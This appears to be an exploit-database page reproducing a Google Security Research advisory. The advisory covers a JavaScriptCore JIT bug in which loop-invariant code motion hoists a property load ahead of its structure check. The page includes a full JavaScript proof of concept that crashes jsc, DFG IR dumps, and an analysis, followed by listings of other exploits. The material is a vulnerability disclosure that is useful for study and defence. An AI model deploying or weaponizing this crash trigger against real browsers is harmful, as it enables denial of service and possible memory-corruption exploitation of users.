Menu

Search for hundreds of thousands of exploits

"macOS / iOS JavaScriptCore - Loop-Invariant Code Motion (LICM) Leaves Object Property Access Unguarded"

Author

"Google Security Research"

Platform

multiple

Release date

2019-07-30

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
While fuzzing JavaScriptCore, I encountered the following (modified and commented) JavaScript program which crashes jsc from current HEAD and release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc):

    function v2(trigger) {
        // Force JIT compilation.
        for (let v7 = 0; v7 < 1000000; v7++) { }

        if (!trigger) {
            // Will synthesize .length, .callee, and Symbol.iterator.
            // See ScopedArguments::overrideThings [1]
            arguments.length = 1;
        }

        for (let v11 = 0; v11 < 10; v11++) {
            // The for-of loop (really the inlined array iterator) will fetch the
            // .length property after a StructureCheck. However, the property fetch
            // will be hoisted in front of the outer loop by LICM but the
            // StructureCheck won't. Then, in the final invocation it will crash
            // because .length hasn't been synthezised yet (and thus the butterfly
            // is nullptr).
            for (const v14 of arguments) {
                const v18 = {a:1337};
                // The with statement here probably prevents escape analysis /
                // object allocation elimination from moving v18 into the stack,
                // thus forcing DFG to actually allocate v18. Then, LICM sees a
                // write to structure IDs (from the object allocation) and thus
                // cannot hoist the structure check (reading a structure ID) in
                // front of the loop.
                with (v18) { }
            }
        }
    }

    for (let v23 = 0; v23 < 100; v23++) {
        v2(false);
    }

    print("Triggering crash");
    v2(true);


Here is what appears to be happening:

When v2 is optimized by the FTL JIT, it will inline the ArrayIterator.next function for the for-of loop and thus produce the following DFG IR (of which many details were omitted for readability):

    Block #8 (Before outer loop)
        ...

    Block #10 (bc#180): 		(Outer loop)
        104:<!0:-> CheckStructure(Check:Cell:@97, MustGen, [%Cp:Arguments], R:JSCell_structureID, Exits, bc#201, ExitValid)
        105:< 2:-> GetButterfly(Cell:@97, Storage|UseAsOther, Other, R:JSObject_butterfly, Exits, bc#201, ExitValid)

    Block #12 (bc#464 --> next#<no-hash>:<0x10a8a08c0> bc#43 --> arrayIteratorValueNext#<no-hash>:<0x10a8a0a00> bc#29):  (Inner loop header)
        378:< 4:-> GetByOffset(Check:Untyped:@105, KnownCell:@97, JS|PureInt|UseAsInt, BoolInt32, id2{length}, 100, R:NamedProperties(2), Exits, bc#34, ExitValid)  predicting BoolInt32

    Block #17 (bc#487): 		(Inner loop body)
        267:< 8:-> NewObject(JS|UseAsOther, Final, %B8:Object, R:HeapObjectCount, W:HeapObjectCount, Exits, bc#274, ExitValid)
        273:<!0:-> PutByOffset(KnownCell:@267, KnownCell:@267, Check:Untyped:@270, MustGen, id7{a}, 0, W:NamedProperties(7), ClobbersExit, bc#278, ExitValid)
        274:<!0:-> PutStructure(KnownCell:@267, MustGen, %B8:Object -> %EQ:Object, ID:45419, R:JSObject_butterfly, W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType, ClobbersExit, bc#278, ExitInvalid)

Eventually, the loop-invariant code motion optimization runs [2], changing graph to the following:

    Block #8 (Before outer loop)
        ...
        105:< 2:-> GetButterfly(Cell:@97, Storage|UseAsOther, Other, R:JSObject_butterfly, Exits, bc#201, ExitValid)
        378:< 4:-> GetByOffset(Check:Untyped:@105, KnownCell:@97, JS|PureInt|UseAsInt, BoolInt32, id2{length}, 100, R:NamedProperties(2), Exits, bc#34, ExitValid)  predicting BoolInt32

    Block #10 (bc#180): 		(Outer loop)
        104:<!0:-> CheckStructure(Check:Cell:@97, MustGen, [%Cp:Arguments], R:JSCell_structureID, Exits, bc#201, ExitValid)

    Block #12 (bc#464 --> next#<no-hash>:<0x10a8a08c0> bc#43 --> arrayIteratorValueNext#<no-hash>:<0x10a8a0a00> bc#29):  (Inner loop header)

    Block #17 (bc#487): 		(Inner loop body)
        267:< 8:-> NewObject(JS|UseAsOther, Final, %B8:Object, R:HeapObjectCount, W:HeapObjectCount, Exits, bc#274, ExitValid)
        273:<!0:-> PutByOffset(KnownCell:@267, KnownCell:@267, Check:Untyped:@270, MustGen, id7{a}, 0, W:NamedProperties(7), ClobbersExit, bc#278, ExitValid)
        274:<!0:-> PutStructure(KnownCell:@267, MustGen, %B8:Object -> %EQ:Object, ID:45419, R:JSObject_butterfly, W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType, ClobbersExit, bc#278, ExitInvalid)


Here, the GetButterfly and GetByOffset operations, responsible for loading the .length property, were moved in front of the StructureCheck which is supposed to ensure that .length can be loaded in this way. This is clearly unsafe and will lead to a crash in the final invocation of the function when .length is not "synthesized" and thus the butterfly is nullptr.

To understand why this happens it is necessary to look at the requirements for hoisting operations [3]. One of them is that "The node doesn't read anything that the loop writes.". In this case the CheckStructure operation reads the structure ID from the object ("R:JSCell_structureID" in the IR above) and the PutStructure writes a structure ID ("W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType") as such the check cannot be hoisted because DFG cannot prove that the read value doesn't change in the loop body (note that here the compiler acts conservatively as it could, in this specific instance, determine that the structure ID being written to inside the loop is definitely not the one being read. It doesn't do so and instead only tracks abstract "heap locations" like the JSCell_structureID). However, as no operation in the loop bodies writes to either the JSObject_butterfly or the NamedProperties heap location (i.e. no Butterfly pointer or NamedProperty slot is ever written to inside the loop body), LICM incorrectly determined that the GetButterfly and GetByOffset operations could safely be hoisted in front of the loop body. See also https://bugs.chromium.org/p/project-zero/issues/detail?id=1775 and https://bugs.chromium.org/p/project-zero/issues/detail?id=1789 for more information about the LICM optimization.

I suspect that this issue is more general (not limited to just `argument` objects) and allows bypassing of various StructureChecks in the JIT, thus likely being exploitable in many ways. However, I haven't confirmed that.
Release Date Title Type Platform Author
2019-08-01 "SilverSHielD 6.x - Local Privilege Escalation" local multiple "Ian Bredemeyer"
2019-08-15 "NSKeyedUnarchiver - Info Leak in Decoding SGBigUTF8String" dos multiple "Google Security Research"
2019-08-12 "ManageEngine OpManager 12.4x - Unauthenticated Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-08-12 "ManageEngine Application Manager 14.2 - Privilege Escalation / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-08-12 "ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-08-12 "WebKit - UXSS via XSLT and Nested Document Replacements" dos multiple "Google Security Research"
2019-08-08 "Aptana Jaxer 1.0.3.4547 - Local File inclusion" webapps multiple "Steph Jensen"
2019-08-07 "Google Chrome 74.0.3729.0 / 76.0.3789.0 - Heap Use-After-Free in blink::PresentationAvailabilityState::UpdateAvailability" dos multiple "Google Security Research"
2019-08-05 "ARMBot Botnet - Arbitrary Code Execution" remote multiple prsecurity
2019-08-01 "Ultimate Loan Manager 2.0 - Cross-Site Scripting" webapps multiple "Metin Yunus Kandemir"
2019-07-31 "Oracle Hyperion Planning 11.1.2.3 - XML External Entity" webapps multiple "Lucas Dinucci"
2019-07-30 "iMessage - NSKeyedUnarchiver Deserialization Allows file Backed NSData Objects" dos multiple "Google Security Research"
2019-07-30 "iMessage - Memory Corruption when Decoding NSKnownKeysDictionary1" dos multiple "Google Security Research"
2019-07-30 "iMessage - NSArray Deserialization can Invoke Subclass that does not Retain References" dos multiple "Google Security Research"
2019-07-30 "macOS / iOS JavaScriptCore - JSValue Use-After-Free in ValueProfiles" dos multiple "Google Security Research"
2019-07-30 "macOS / iOS JavaScriptCore - Loop-Invariant Code Motion (LICM) Leaves Object Property Access Unguarded" dos multiple "Google Security Research"
2019-07-30 "macOS / iOS NSKeyedUnarchiver - Use-After-Free of ObjC Objects when Unarchiving OITSUIntDictionary Instances" dos multiple "Google Security Research"
2019-01-12 "ASAN/SUID - Local Privilege Escalation" local multiple bcoles
2019-01-13 "Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (2)" local multiple bcoles
2018-12-30 "Deepin Linux 15 - 'lastore-daemon' Local Privilege Escalation" local multiple bcoles
2019-01-13 "S-nail < 14.8.16 - Local Privilege Escalation" local multiple bcoles
2018-12-30 "VMware Workstation/Player < 12.5.5 - Local Privilege Escalation" local multiple bcoles
2019-07-25 "WebKit - Universal Cross-Site Scripting due to Synchronous Page Loads" dos multiple "Google Security Research"
2019-07-24 "Trend Micro Deep Discovery Inspector IDS - Security Bypass" remote multiple hyp3rlinx
2019-07-12 "Xymon 4.3.25 - useradm Command Execution (Metasploit)" remote multiple Metasploit
2019-07-10 "Mozilla Spidermonkey - Unboxed Objects Uninitialized Memory Access" dos multiple "Google Security Research"
2019-07-09 "Firefox 67.0.4 - Denial of Service" dos multiple "Tejas Ajay Naik"
2019-07-03 "Symantec DLP 15.5 MP1 - Cross-Site Scripting" webapps multiple "Chapman Schleiss"
2019-07-01 "CyberPanel 1.8.4 - Cross-Site Request Forgery" webapps multiple "Bilgi Birikim Sistemleri"
2019-07-01 "Sahi pro 8.x - Directory Traversal" webapps multiple "Alexander Bluestein"
Release Date Title Type Platform Author
2019-08-15 "Microsoft Windows Text Services Framework MSCTF - Multiple Vulnerabilities" local windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Double Free due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - free() of Uninitialized Pointer due to Malformed JBIG2Globals Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Memory Corruption due to Malformed TTF Font" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow in CoolType.dll" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed Font Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Static Buffer Overflow due to Malformed Font Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow While Processing Malformed PDF" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Use-After-Free due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Out-of-Bounds read due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap-Based Out-of-Bounds read in FixSbitSubTableFormat1" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in MakeFormat12MergedGlyphList" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap-Based Out-of-Bounds read in WriteTableFromStructure" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in ReadAllocFormat12CharGlyphMapList" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in ReadTableIntoStructure" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in FixSbitSubTables" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Double Free in MergeFormat12Cmap / MakeFormat12MergedGlyphList" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap-Based Out-of-Bounds read in GetGlyphIdx" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Returning a Dangling Pointer via MergeFontPackage" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat CoolType (AFDKO) - Call from Uninitialized Memory due to Empty FDArray in Type 1 Fonts" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat CoolType (AFDKO) - Memory Corruption in the Handling of Type 1 Font load/store Operators" dos windows "Google Security Research"
2019-08-15 "NSKeyedUnarchiver - Info Leak in Decoding SGBigUTF8String" dos multiple "Google Security Research"
2019-08-12 "WebKit - UXSS via XSLT and Nested Document Replacements" dos multiple "Google Security Research"
2019-08-12 "Linux - Use-After-Free Reads in show_numa_stats()" dos linux "Google Security Research"
2019-08-07 "Google Chrome 74.0.3729.0 / 76.0.3789.0 - Heap Use-After-Free in blink::PresentationAvailabilityState::UpdateAvailability" dos multiple "Google Security Research"
2019-08-05 "macOS iMessage - Heap Overflow when Deserializing" dos macos "Google Security Research"
2019-07-30 "iMessage - NSKeyedUnarchiver Deserialization Allows file Backed NSData Objects" dos multiple "Google Security Research"
2019-07-30 "iMessage - Memory Corruption when Decoding NSKnownKeysDictionary1" dos multiple "Google Security Research"
2019-07-30 "iMessage - NSArray Deserialization can Invoke Subclass that does not Retain References" dos multiple "Google Security Research"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47190/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/47190/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/47190/41568/macos-ios-javascriptcore-loop-invariant-code-motion-licm-leaves-object-property-access-unguarded/download/", "exploit_id": "47190", "exploit_description": "\"macOS / iOS JavaScriptCore - Loop-Invariant Code Motion (LICM) Leaves Object Property Access Unguarded\"", "exploit_date": "2019-07-30", "exploit_author": "\"Google Security Research\"", "exploit_type": "dos", "exploit_platform": "multiple", "exploit_port": null}
                    

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Browse exploit APIBrowse